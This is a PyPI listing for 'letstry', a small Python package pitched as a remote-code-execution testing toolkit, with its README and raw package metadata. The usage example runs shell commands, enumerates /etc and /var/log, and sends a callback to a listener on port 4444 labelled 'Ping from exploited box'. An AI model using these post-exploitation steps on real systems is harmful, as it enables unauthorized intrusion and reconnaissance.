letstry


Nameletstry JSON
Version 0.1.1 PyPI version JSON
download
home_pagehttps://github.com/mukeshkumar-a
SummaryToolkit for RCE testing, command execution, and file enumeration
upload_time2025-07-26 20:59:20
maintainerNone
docs_urlNone
authorMukesh Kumar
requires_python>=3.6
licenseNone
keywords
VCS
bugtrack_url
requirements No requirements were recorded.
Travis-CI No Travis.
coveralls test coverage No coveralls.
            # LetsTry

A powerful single-file Python toolkit for Remote Code Execution (RCE) testing, file and directory enumeration, and Linux command execution.

> 🚨 For educational and authorized testing purposes only.

---

## 🔧 Features

- ✅ List files, folders, and recursively enumerate directories
- ✅ Run Linux commands and capture output
- ✅ Execute system-level calls
- ✅ Use `glob`, `pathlib`, and `os` modules together
- ✅ Optional socket callback support for RCE testing

---

## 📦 Installation

```bash
pip install letstry
````

---

## 🚀 Usage

```python
import letstry

# Run Linux command
print(letstry.run_command("uname -a"))

# List all files in /etc
print(letstry.list_files("/etc"))

# Recursive listing using pathlib
print(letstry.scan_pathlib("/var/log"))

# Run a command using os.system
letstry.run_os_system("ls -l")

# Send a callback to a listener
letstry.send_callback("192.168.1.100", 4444, "Ping from exploited box")

# Host information
print(letstry.get_host_info())
```

---

## 📁 Module Functions

### 📂 File Enumeration

* `list_all(path=".")`
* `list_files(path=".")`
* `list_dirs(path=".")`
* `recursive_glob(path=".", pattern="*")`
* `scan_pathlib(path=".")`

### ⚙️ Command Execution

* `run_command(cmd)`
* `run_os_system(cmd)`
* `safe_eval(code)` (⚠️ Dangerous — use for test only)

### 🌐 Network Utilities

* `get_host_info()`
* `send_callback(ip, port, msg)`

---


## ⚠️ Disclaimer

This tool is intended **only for ethical hacking, penetration testing, or system administration on systems you have explicit permission to test**. Any misuse is strictly prohibited and the author assumes no responsibility for illegal usage.

---

````

            

Raw data

            {
    "_id": null,
    "home_page": "https://github.com/mukeshkumar-a",
    "name": "letstry",
    "maintainer": null,
    "docs_url": null,
    "requires_python": ">=3.6",
    "maintainer_email": null,
    "keywords": null,
    "author": "Mukesh Kumar",
    "author_email": "creatorsk549@gmail.com",
    "download_url": "https://files.pythonhosted.org/packages/b7/85/e589a932f7670b0e4b386ea37969fa47b03102c17f1e7ad7fb3f4291b69b/letstry-0.1.1.tar.gz",
    "platform": null,
    "description": "# LetsTry\r\n\r\nA powerful single-file Python toolkit for Remote Code Execution (RCE) testing, file and directory enumeration, and Linux command execution.\r\n\r\n> \ud83d\udea8 For educational and authorized testing purposes only.\r\n\r\n---\r\n\r\n## \ud83d\udd27 Features\r\n\r\n- \u2705 List files, folders, and recursively enumerate directories\r\n- \u2705 Run Linux commands and capture output\r\n- \u2705 Execute system-level calls\r\n- \u2705 Use `glob`, `pathlib`, and `os` modules together\r\n- \u2705 Optional socket callback support for RCE testing\r\n\r\n---\r\n\r\n## \ud83d\udce6 Installation\r\n\r\n```bash\r\npip install letstry\r\n````\r\n\r\n---\r\n\r\n## \ud83d\ude80 Usage\r\n\r\n```python\r\nimport letstry\r\n\r\n# Run Linux command\r\nprint(letstry.run_command(\"uname -a\"))\r\n\r\n# List all files in /etc\r\nprint(letstry.list_files(\"/etc\"))\r\n\r\n# Recursive listing using pathlib\r\nprint(letstry.scan_pathlib(\"/var/log\"))\r\n\r\n# Run a command using os.system\r\nletstry.run_os_system(\"ls -l\")\r\n\r\n# Send a callback to a listener\r\nletstry.send_callback(\"192.168.1.100\", 4444, \"Ping from exploited box\")\r\n\r\n# Host information\r\nprint(letstry.get_host_info())\r\n```\r\n\r\n---\r\n\r\n## \ud83d\udcc1 Module Functions\r\n\r\n### \ud83d\udcc2 File Enumeration\r\n\r\n* `list_all(path=\".\")`\r\n* `list_files(path=\".\")`\r\n* `list_dirs(path=\".\")`\r\n* `recursive_glob(path=\".\", pattern=\"*\")`\r\n* `scan_pathlib(path=\".\")`\r\n\r\n### \u2699\ufe0f Command Execution\r\n\r\n* `run_command(cmd)`\r\n* `run_os_system(cmd)`\r\n* `safe_eval(code)` (\u26a0\ufe0f Dangerous \u2014 use for test only)\r\n\r\n### \ud83c\udf10 Network Utilities\r\n\r\n* `get_host_info()`\r\n* `send_callback(ip, port, msg)`\r\n\r\n---\r\n\r\n\r\n## \u26a0\ufe0f Disclaimer\r\n\r\nThis tool is intended **only for ethical hacking, penetration testing, or system administration on systems you have explicit permission to test**. Any misuse is strictly prohibited and the author assumes no responsibility for illegal usage.\r\n\r\n---\r\n\r\n````\r\n",
    "bugtrack_url": null,
    "license": null,
    "summary": "Toolkit for RCE testing, command execution, and file enumeration",
    "version": "0.1.1",
    "project_urls": {
        "Homepage": "https://github.com/mukeshkumar-a"
    },
    "split_keywords": [],
    "urls": [
        {
            "comment_text": null,
            "digests": {
                "blake2b_256": "f5fe95891c64d5748705faeaa62cdeaa6e6ca3b7d040c2836580a103a80e2f40",
                "md5": "e4975866588c3a0a8661b6cfe3608cd5",
                "sha256": "8ee3c23a166f664095d21be0611f0ce45b5169081e5bbd8df1ae7214ab7f84c7"
            },
            "downloads": -1,
            "filename": "letstry-0.1.1-py3-none-any.whl",
            "has_sig": false,
            "md5_digest": "e4975866588c3a0a8661b6cfe3608cd5",
            "packagetype": "bdist_wheel",
            "python_version": "py3",
            "requires_python": ">=3.6",
            "size": 2931,
            "upload_time": "2025-07-26T20:59:18",
            "upload_time_iso_8601": "2025-07-26T20:59:18.946780Z",
            "url": "https://files.pythonhosted.org/packages/f5/fe/95891c64d5748705faeaa62cdeaa6e6ca3b7d040c2836580a103a80e2f40/letstry-0.1.1-py3-none-any.whl",
            "yanked": false,
            "yanked_reason": null
        },
        {
            "comment_text": null,
            "digests": {
                "blake2b_256": "b785e589a932f7670b0e4b386ea37969fa47b03102c17f1e7ad7fb3f4291b69b",
                "md5": "1b8b47929e26f2e5ba29584775ee805c",
                "sha256": "50d1adedf80181d5fbfccf34e41503c4f6314ee535b2bab1cdf07b13b00fc9d5"
            },
            "downloads": -1,
            "filename": "letstry-0.1.1.tar.gz",
            "has_sig": false,
            "md5_digest": "1b8b47929e26f2e5ba29584775ee805c",
            "packagetype": "sdist",
            "python_version": "source",
            "requires_python": ">=3.6",
            "size": 2768,
            "upload_time": "2025-07-26T20:59:20",
            "upload_time_iso_8601": "2025-07-26T20:59:20.092926Z",
            "url": "https://files.pythonhosted.org/packages/b7/85/e589a932f7670b0e4b386ea37969fa47b03102c17f1e7ad7fb3f4291b69b/letstry-0.1.1.tar.gz",
            "yanked": false,
            "yanked_reason": null
        }
    ],
    "upload_time": "2025-07-26 20:59:20",
    "github": false,
    "gitlab": false,
    "bitbucket": false,
    "codeberg": false,
    "lcname": "letstry"
}
        
Elapsed time: 0.81131s